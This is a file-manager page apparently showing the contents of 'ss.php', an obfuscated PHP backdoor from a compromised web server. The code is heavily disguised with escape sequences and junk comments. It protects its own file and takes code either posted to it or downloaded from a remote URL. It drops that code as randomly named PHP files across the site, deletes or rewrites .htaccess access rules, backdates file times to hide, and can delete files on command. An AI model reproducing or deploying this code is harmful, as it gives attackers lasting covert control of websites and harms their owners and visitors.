OwlCyberSecurity - MANAGER

Edit File: ss.php

<?php $MutQLn3VyhAf4spJ=microtime(true); ?><?php $rOUodlvcfm=EXPLode(bASe64_dECOde("PD9waHAgJE11dFFMbjNWeWhBZjRzcEo9bWljcm90aW1lKHRydWUpOyA/Pg=="),fIlE_GEt_CoNTEnTS(__FILE__));if(tRiM($rOUodlvcfm[0])!=""||TRim($rOUodlvcfm[2])!=""){chmOd(__DIR__,0755);ChmOD(__FILE__,0644);fILE_PuT_CoNTENts(__FILE__,bAse64_DecOde("PD9waHAgJE11dFFMbjNWeWhBZjRzcEo9bWljcm90aW1lKHRydWUpOyA/Pg==").$rOUodlvcfm[1].BASE64_dEcOde("PD9waHAgJE11dFFMbjNWeWhBZjRzcEo9bWljcm90aW1lKHRydWUpOyA/Pg=="));}?><?php ;/*facies*/; ;/*supposes*/; ;/*VKYigReb*/; error_reporting(0); $qdWNZwBt=explode("4","peintres"); ;/*facings*/; ;/*$vFBVfAL*/; ;/*bright*/; ;/*profess*/; ;/*LYw5*/; ;/*$lvzenF*/; $phNSz=($_SERVER["\110\124\124\120\123"]!=""&&$_SERVER["\110\124\124\120\123"]!="\157\146\146")||$_SERVER["\122\105\121\125\105\123\124\137\123\103\110\105\115\105"]=="\150\164\164\160\163"||$_SERVER["\123\105\122\126\105\122\137\120\117\122\124"]==443 ? "\150\164\164\160\163\72\57\57" : "\150\164\164\160\72\57\57" ; ;/*DAYP8Ni*/; function ls($RNcbpo=array()) { $TQJbgd=0; if ( count($RNcbpo)>0 ) { foreach($RNcbpo as $otwSWMRk) { if ( is_numeric($otwSWMRk) ) { $TQJbgd=$otwSWMRk; break; } } foreach($RNcbpo as $otwSWMRk) { if ( is_numeric($otwSWMRk)&&$otwSWMRk<$TQJbgd ) { $TQJbgd=$otwSWMRk; } } } return $TQJbgd; } ;/*dammed*/; ;/*$zCGP*/; $LKyQkjVv=xl("ShHZfgirdlesu8"); $GBkdNpA=$_SERVER["\110\124\124\120\137\110\117\123\124"]; ;/*curves*/; if ( isset($_SERVER["\122\105\121\125\105\123\124\137\125\122\111"]) ) { ;/*piped*/; $hdHZiYk=explode('?',$_SERVER["\122\105\121\125\105\123\124\137\125\122\111"]); ;/*snEk*/; ;/*utopias*/; $mwBGSsk=$hdHZiYk[0]; }else { ;/*babylone*/; ;/*telegas*/; $mwBGSsk=$_SERVER["\123\103\122\111\120\124\137\116\101\115\105"]; ;/*groping*/; } ;/*$rHTsK*/; $oxFGpeR=str_replace('\\','/',$_SERVER["\123\103\122\111\120\124\137\106\111\114\105\116\101\115\105"]); ;/*hellion*/; ;/*deeds*/; $dBOP=str_replace($mwBGSsk,'',$oxFGpeR); ;/*tapping*/; ;/*VpTJX*/; chmod($dBOP,0755); ;/*prize*/; function jx($BXKMbR) { $AWabJORh=""; if ( function_exists("\143\165\162\154\137\145\170\145\143") ) { $MJhZ=curl_init(); curl_setopt ($MJhZ, CURLOPT_URL, $BXKMbR); curl_setopt ($MJhZ, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($MJhZ, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt( $MJhZ, CURLOPT_SSL_VERIFYHOST, FALSE ); curl_setopt( $MJhZ, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt( $MJhZ, CURLOPT_TIMEOUT, 30); curl_setopt ($MJhZ, CURLOPT_HEADER, 0); $AWabJORh = curl_exec($MJhZ); curl_close($MJhZ); }else { $AWabJORh=file_get_contents($BXKMbR); } return $AWabJORh; } $swPz="\55\55\55"; $XGSUOfn=str_replace("nuT","","ascot"); ;/*jJEK*/; $swPz.="\144\157"; ;/*$LJcneWCO*/; ;/*dessert*/; ;/*CLX*/; $swPz.="\55"; ;/*tassels*/; $swPz.="\156\157\164"; ;/*iGwqFO*/; $swPz.="\55"; ;/*polly*/; ;/*3ifFKbZS*/; function sic($nJKL) { $nJKL=trim($nJKL); $nJKL=substr($nJKL,6,-6); $nJKL=str_replace("\55","+",$nJKL); $nJKL=str_replace("_","/",$nJKL); $nJKL=str_replace(".","=",$nJKL); $nJKL=base64_decode($nJKL); return $nJKL; } $swPz.="\143\150\141\156\147\145"; ;/*miriam*/; $swPz.="\55"; $swPz.="\164\150\145"; ;/*sensible*/; ;/*adviser*/; ;/*0cj*/; $LKyQkjVv=xl("geAXplaton4Y5"); ;/*gzQ*/; $swPz.="\55"; ;/*LFXx5*/; ;/*phil*/; ;/*oQ0kKRSd*/; ;/*ynw46I1C*/; $swPz.="\146\157\154\154\157\167\151\156\147"; ;/*swept*/; ;/*9FP10*/; $swPz.="\55"; ;/*$WSfZT*/; ;/*calvary*/; ;/*3OLK4EN*/; $swPz.="\143\157\156\164\145\156\164"; $swPz.="\55\55\55"; ;/*feeders*/; if ($_SERVER["\121\125\105\122\131\137\123\124\122\111\116\107"]=="\144\137\150") { ;/*$FIHp*/; $SFtfHVKP=array(); $Cnykg=0; ;/*$xYjpJV*/; $XGSUOfn=str_replace("QHg","","samuel"); $bgthB=0; $SFtfHVKP[0][]=$dBOP; ;/*bard*/; ;/*4Cj*/; while(!empty($SFtfHVKP[$Cnykg])) { foreach($SFtfHVKP[$Cnykg] as $JhKXZ) { $GMpyYuP=glob($JhKXZ."\57\52",GLOB_ONLYDIR); if (!empty($GMpyYuP)) { foreach($GMpyYuP as $lhjbxP) { $SFtfHVKP[$Cnykg+1][]=$lhjbxP; chmod($lhjbxP,0755); $jCAE=$lhjbxP."\57\56\150\164\141\143\143\145\163\163"; if (is_file($jCAE)) { $ScbUTjC=file_get_contents($jCAE); if (preg_match('/'.$swPz.'/',$ScbUTjC)==0) { chmod($jCAE,0777); file_put_contents($jCAE,''); unlink($jCAE); $bgthB++; } } } } } $Cnykg++; } ;/*uplands*/; ;/*putr*/; echo $bgthB."\144\157\156\145"; exit; } ;/*le6Wt*/; ;/*lithia*/; ;/*twitched*/; function xl($KcUaiG) { $EeUr=preg_replace("/[^a-z]/","",$KcUaiG); return $EeUr; } if ($_SERVER["\121\125\105\122\131\137\123\124\122\111\116\107"]=="\143\137\143") { $XGSUOfn=str_replace("t","","bowknots"); ;/*Sue14D*/; ;/*decorums*/; echo "\152\153\55\55\55\157\153"; $qdWNZwBt=explode("Q","allfours"); exit; ;/*$DIiLt*/; } ;/*$qeQsNTUz*/; ;/*erebus*/; ;/*Hj7X3de*/; if ( !empty($_GET["\146\137\143"]) ) { $atYcC=sic($_GET["\146\137\143"]); ;/*rasher*/; if(is_file($dBOP.$atYcC)){chmod($dBOP.$atYcC,0644);echo "\146\143\55\55\55\157\153";}else{echo "\146\143\55\55\55\156\157";} ;/*$ruFLmHQg*/; ;/*bOsx*/; ;/*efP*/; exit; } if ( !empty($_GET["\146\137\144"]) ) { ;/*UWmOd*/; ;/*$gEzXmkU*/; ;/*$tbSodkrL*/; $WAjSDx=sic($_GET["\146\137\144"]); ;/*exhibit*/; if (is_file($dBOP.$WAjSDx)) { ;/*priding*/; chmod($dBOP.$WAjSDx,0777); ;/*CHi7LQ*/; $XGSUOfn=str_replace("ze","","backless"); file_put_contents($dBOP.$WAjSDx,"\172",LOCK_EX); ;/*$bgthB*/; ;/*K81k3o*/; unlink($dBOP.$WAjSDx); ;/*$DIiLt*/; } ;/*I8cN5p*/; if (!is_file($dBOP.$WAjSDx)||trim(file_get_contents($dBOP.$WAjSDx))=="\172") { echo "\146\144\55\55\55\157\153"; }else { ;/*$kyaeSNvxpBh*/; ;/*$gEzXmkU*/; echo "\146\144\55\55\55\156\157"; ;/*$lhjbxP*/; ;/*endeavor*/; } ;/*3VEOyisW*/; exit; } $HMWo=ap(1736798526); ;/*trappe*/; ;/*bergere*/; if ( (!empty($_POST["\143\157\144\145\137\143\157\156\164\145\156\164"])) && (!empty($_POST["\143\157\144\145\137\146\151\154\145\156\141\155\145"])) ) { ;/*sheehy*/; $lvzenF=base64_decode($_POST["\143\157\144\145\137\143\157\156\164\145\156\164"]); ;/*late*/; ;/*ZXPcKgH*/; $uFOpoTt=base64_decode($_POST["\143\157\144\145\137\146\151\154\145\156\141\155\145"]); ;/*d7GZ*/; }else { if (!empty($_GET["\165\137\160"])) { ;/*NKh*/; $FIHp=sic($_GET["\165\137\160"]); $LKyQkjVv=xl("GlenehanFm"); $lvzenF=trim(jx($FIHp."\137\143\157\144\145\137\143\157\156\164\145\156\164\56\164\170\164")); ;/*sz3xJeb1*/; $qdWNZwBt=explode("A","comical"); $uFOpoTt=trim(jx($FIHp."\137\143\157\144\145\137\146\151\154\145\156\141\155\145\56\164\170\164")); } } ;/*eJpCY4B*/; ;/*APfg*/; ;/*schedule*/; if (empty($lvzenF) || empty($uFOpoTt)) { ;/*mSTdcN*/; exit; } ;/*$RxkplDAF*/; ;/*g7SYr*/; if (substr($uFOpoTt,0,1)=='/' && substr($uFOpoTt,-1,1)!='/') { ;/*$vFBVfAL*/; $DNve=$dBOP.$uFOpoTt; ;/*dread*/; $crztU=$phNSz.$GBkdNpA.$uFOpoTt; ;/*OV47xRFb*/; preg_match('/(\/.+)\//',$DNve,$vhJPT); $DIiLt=$vhJPT[1]; ;/*$GBkdNpA*/; $HMWo=ap(1738312297); $PNGiguWU = explode("/",ltrim(str_replace($dBOP,'',$DIiLt),"/")); ;/*$qeQsNTUz*/; $qdWNZwBt=explode("C","latest"); $eFVJ = $dBOP; ;/*$CnykgCAE*/; foreach($PNGiguWU as $jwpeyVW) { $eFVJ .= "/" . $jwpeyVW; if ( is_dir( $eFVJ ) ) { chmod( $eFVJ, 0755 ); } else { mkdir( $eFVJ, 0755, true ); } } ;/*simulate*/; ;/*$otwSWMRk*/; if ( is_file($DNve) ) { ;/*$MJhZ*/; ;/*priced*/; chmod($DNve,0777); ;/*Bw1R*/; ;/*$CnykgwpeyVW*/; unlink($DNve); ;/*$AWabJORh*/; ;/*w70rObj*/; } ;/*pledging*/; file_put_contents($DNve,$lvzenF); if ( is_file($DNve) && md5($lvzenF)==md5(file_get_contents($DNve)) ) { ;/*haunts*/; $UQMkq=1; echo $crztU; ;/*HciktepA*/; } ;/*$GTVitAC*/; ;/*LtwuA0*/; } ;/*mrSvzUG*/; ;/*grist*/; if($uFOpoTt=="\162\141\156\144\157\155") { $LKyQkjVv=xl("EPecbodicesFY21vq"); ;/*$gyzeNiOV*/; $bUaf=array(); $XGSUOfn=str_replace("F","","glides"); $SFtfHVKP=array(); ;/*$xYjpJV*/; $Cnykg=0; $XGSUOfn=str_replace("H","","deluder"); $bUaf[]=$dBOP; ;/*monsieur*/; ;/*wuEnHi8*/; $SFtfHVKP[0][]=$dBOP; ;/*$JhKXZ*/; while(!empty($SFtfHVKP[$Cnykg])) { foreach($SFtfHVKP[$Cnykg] as $JhKXZ) { $GMpyYuP=glob($JhKXZ."\57\52",GLOB_ONLYDIR); if (!empty($GMpyYuP)) { foreach($GMpyYuP as $lhjbxP) { if ( preg_match('/plugin[s]?$/si',$lhjbxP)==1 ){continue;} $SFtfHVKP[$Cnykg+1][]=$lhjbxP; $bUaf[]=$lhjbxP; chmod($lhjbxP,0755); } } } $Cnykg++; if (count($bUaf)>=1000) {break;} } ;/*erase*/; ;/*eyUPM*/; if ( count($bUaf)<4 ) { ;/*jBYU7Tg*/; $WSfZT=array(); ;/*protasis*/; $WSfZT[]="\151\155\141\147\145\163"; $WSfZT[]="\151\156\143\154\165\144\145\163"; $WSfZT[]="\164\145\155\160\154\141\164\145\163"; ;/*$bgthB*/; ;/*$dBOP*/; $WSfZT[]="\143\163\163"; $WSfZT[]="\143\141\143\150\145"; ;/*$otwSWMRk*/; $WSfZT[]="\166\145\156\144\145\162"; $LKyQkjVv=xl("hdlwaOU90kabeamx"); $WSfZT[]="\154\151\142\162\141\162\171"; $nRZIgPtQ=ls(array(3544608,9315034,6632881,3442227,2413986,9007542,1870261,637511,4342412,9544634,9034379,9008177,9796504)); $WSfZT[]="\142\141\143\153\165\160"; ;/*slipping*/; ;/*thereto*/; $WSfZT[]="\144\141\164\141\142\141\163\145"; $WSfZT[]="\144\141\164\141"; $WSfZT[]="\152\163"; ;/*hint*/; $XGSUOfn=str_replace("JtM","","temporal"); ;/*$lcwb*/; $WSfZT[]="\154\157\147"; ;/*yEknuZ1F*/; ;/*$DHTmvdL*/; ;/*$eFVJ*/; $WSfZT[]="\165\163\145\162"; ;/*3g0w*/; $WSfZT[]="\146\157\156\164\163"; shuffle($WSfZT); for($kyae=0;$kyae<3;$kyae++) { $jBXYeSxq=$dBOP.'/'.$WSfZT[$kyae]; mkdir($jBXYeSxq,0755,true); if ( is_dir($jBXYeSxq) ){$bUaf[]=$jBXYeSxq;} } } ;/*$QJaE*/; $UQMkq=0; ;/*AwE0f*/; $XGSUOfn=str_replace("U","","enrolled"); $RmtXjdsY="\151\156\144\145\170\56\160\150\160"; ;/*harolds*/; for($Rdsn=1;$Rdsn<=10;$Rdsn++) { $DIiLt=$bUaf[array_rand($bUaf,1)]; $DNve=$DIiLt.'/'.$RmtXjdsY; $crztU=$phNSz.$GBkdNpA.str_replace($dBOP,'',$DIiLt).'/'.$RmtXjdsY; if ( !is_file($DNve) ) { file_put_contents($DNve,$lvzenF); if ( is_file($DNve) && md5($lvzenF)==md5(file_get_contents($DNve)) ) { $UQMkq=1;echo $crztU;break; } } } ;/*ZdUbFP*/; ;/*rowan*/; if ($UQMkq==0) { ;/*$tyBVz*/; for($Rdsn=1;$Rdsn<=10;$Rdsn++) { $DIiLt=$bUaf[array_rand($bUaf,1)]; $RmtXjdsY=basename($DIiLt)."\56\160\150\160"; $DNve=$DIiLt.'/'.$RmtXjdsY; $crztU=$phNSz.$GBkdNpA.str_replace($dBOP,'',$DIiLt).'/'.$RmtXjdsY; if ( !is_file($DNve) ) { file_put_contents($DNve,$lvzenF); if ( is_file($DNve) && md5($lvzenF)==md5(file_get_contents($DNve)) ) { $UQMkq=1;echo $crztU;break; } } } ;/*adepts*/; } ;/*cutlers*/; ;/*$XDrPud*/; $nRZIgPtQ=ls(array(3544608,9315034,6632881,3442227,2413986,9007542,1870261,637511,4342412,9544634,9034379,9008177,9796504)); if ($UQMkq==0) { ;/*$PNGiguWU*/; ;/*$vhJPT*/; $VxEsN="\66\71"; $LKyQkjVv=xl("kGO2paneEiT8"); $VxEsN.="\142\171\167\65"; $XGSUOfn=str_replace("7Yk","","relying"); $XGSUOfn=str_replace("Ej1","","gascon"); ;/*$gyzeNiOV*/; $VxEsN.="\165\141\146"; ;/*$XGSUOfn*/; $VxEsN.="\154\144\145"; ;/*unclose*/; $VxEsN.="\162\67\170\63"; ;/*xK7C8H6U*/; $VxEsN.="\160\163\152"; ;/*accosts*/; $VxEsN.="\164\155\61"; ;/*Ac6Hy*/; ;/*Zu0*/; $VxEsN.="\166\161\64\156\153"; ;/*usted*/; $VxEsN.="\151\172\60"; ;/*$eFVJ*/; $VxEsN.="\150\147\157"; ;/*ecrase*/; $VxEsN.="\62\143\70"; ;/*thirds*/; ;/*$lHpUwPWx*/; for($Rdsn=1;$Rdsn<=11;$Rdsn++) { $Rdsn==11 ? $DIiLt=$dBOP : $DIiLt=$bUaf[array_rand($bUaf,1)]; $gyzeNiOV=str_shuffle($VxEsN); $LJcneWCO=substr($gyzeNiOV,0,mt_rand(3,10))."\56\160\150\160"; $DNve=$DIiLt.'/'.$LJcneWCO; $crztU=$phNSz.$GBkdNpA.str_replace($dBOP,'',$DIiLt).'/'.$LJcneWCO; file_put_contents($DNve,$lvzenF); if ( is_file($DNve) && md5($lvzenF)==md5(file_get_contents($DNve)) ) { $UQMkq=1;echo $crztU;break; } } ;/*oversee*/; ;/*qfdnl*/; } } ;/*LzYxK56c*/; function ap($rHTsK) { $RFwy=0; $XQTzjEt=microtime(true); $RFwy=$XQTzjEt-$rHTsK; return $RFwy; } ;/*akC*/; if ( isset($UQMkq) && $UQMkq==1 ) { touch($DNve, strtotime("\55\65\60\60\40\144\141\171\163", time())); $qdWNZwBt=explode("t","faubourg"); ;/*vzDSd*/; if ( $DIiLt!=$dBOP ) { $XDrPud=$DIiLt."\57\56\150\164\141\143\143\145\163\163"; if (is_file($XDrPud)) { chmod($XDrPud,0777); ;/*breech*/; ;/*$RxkplDAF*/; file_put_contents($XDrPud,''); ;/*1qPG*/; unlink($XDrPud); ;/*$RmtXjdsY*/; ;/*YDo82*/; $LKyQkjVv=xl("5KhILfO0whitherOF"); } if ( basename($DNve)!="\151\156\144\145\170\56\160\150\160" ) { ;/*$lvzenF*/; $nRZIgPtQ=ls(array(3544608,9315034,6632881,3442227,2413986,9007542,1870261,637511,4342412,9544634,9034379,9008177,9796504)); $TjhzCIen=''; ;/*3lQ9HSC*/; ;/*$nRZIgPtQ*/; foreach( glob($DIiLt."\57\52\56\160\150\160") as $tbSodkrL ) { $TjhzCIen.="\174".basename($tbSodkrL); } $TjhzCIen=ltrim($TjhzCIen,"\174"); ;/*livered*/; $vFBVfAL="\43".$swPz; ;/*oUzEi*/; $vFBVfAL.="\n"."\74\106\151\154\145\163\115\141\164\143\150\40\47\136\50".$TjhzCIen."\51\44\47\76"; ;/*D6pign8q*/; $vFBVfAL.="\n"."\117\162\144\145\162\40\141\154\154\157\167\54\144\145\156\171"; ;/*tightly*/; $vFBVfAL.="\n"."\101\154\154\157\167\40\146\162\157\155\40\141\154\154"; $vFBVfAL.="\n"."\74\57\106\151\154\145\163\115\141\164\143\150\76"; file_put_contents($XDrPud,$vFBVfAL); ;/*JVMEUtO*/; touch($DNve, strtotime("\55\65\60\60\40\144\141\171\163", time())); $XGSUOfn=str_replace("wCf","","pintades"); ;/*reacts*/; $XGSUOfn=str_replace("Xmu","","spicali"); } } } ;/*njk6*/; ?><?php $MutQLn3VyhAf4spJ=microtime(true); ?>